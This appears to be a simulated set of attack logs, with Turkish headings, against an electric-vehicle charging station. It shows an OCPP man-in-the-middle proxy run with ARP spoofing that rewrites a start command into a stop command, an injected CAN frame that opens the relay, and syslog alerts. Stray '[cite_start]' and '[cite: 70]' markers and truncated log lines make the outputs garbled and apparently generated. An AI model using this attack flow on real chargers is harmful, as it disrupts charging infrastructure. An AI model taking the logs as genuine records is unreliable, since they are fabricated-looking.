

# 1- SİNYAL ENJEKSİYONU ANOMALİSİ SİMİLASYON ÇIKTILARI:

1-

```
root@kali:~/ev-attack-sim# python3 ocpp_mitm_proxy.py --interface eth0 --target 192.168.1.105

[+] MITM Proxy Started. Listening on port 8080...
[+] ARP Spoofing active: 192.168.1.105 (CP) <-> 192.168.1.1 (Gateway)
[INFO] Waiting for OCPP traffic...

[14:42:05] INTERCEPTED: [2, "1004", "RemoteStartTransaction", {"idTag": "RFID_USER_1004"}]
[14:42:05] MATCH: Found 'RemoteStartTransaction' in payload.
[cite_start][14:42:05] ACTION: Modifying payload to 'RemoteStopTransaction' [cite: 70]
[14:42:05] INJECTION: Sending modified packet to Charge Point...
[14:42:06] RESPONSE: Charge Point replied with 'Accepted'.
[SUCCESS] Attack payload delivered. Transaction blocked.
```

2-

```
admin@cp-embedded:~$ candump vcan0 -L

# Normal Heartbeat Sinyalleri (Sistem boşta)
(1732365721.455) vcan0 100#0100000000000000
(1732365722.456) vcan0 100#0100000000000000
(1732365723.457) vcan0 101#FE05000000000000

# !!! SALDIRI ANI: ANOMALİ TESPİTİ !!!
# [cite_start]Belgede belirtilen CAN ID 0x201 ve Stop Payload'u [cite: 70]
(1732365725.112) vcan0 201#FF00

# Röle kapanma sinyali (Sistem kendini kapatıyor)
(1732365725.150) vcan0 305#00000000
(1732365725.155) vcan0 404#DEADBEEF
```

3-

```
admin@cp-embedded:~$ tail -f /var/log/syslog | grep "EVSE_CORE"
```

```
Nov 23 14:41:58 cp-node EVSE_CORE[882]: [INFO] RFID Card scanned. Authenticating...
Nov 23 14:42:00 cp-node EVSE_CORE[882]: [INFO] Auth Success. Requesting 'StartTrans
Nov 23 14:42:05 cp-node EVSE_CORE[882]: [WARN] Conflict detected! [cite_start]Rece:
[cite_start]Nov 23 14:42:05 cp-node EVSE_CORE[882]: [CRITICAL] INTERNAL BUS ALERT:
Nov 23 14:42:05 cp-node EVSE_CORE[882]: [ACTION] Safety protocol triggered. Opening
[cite_start]Nov 23 14:42:06 cp-node EVSE_CORE[882]: [ERROR] Charging Session Failed
Nov 23 14:42:06 cp-node EVSE_CORE[882]: [ALERT] Please check physical connection ar
```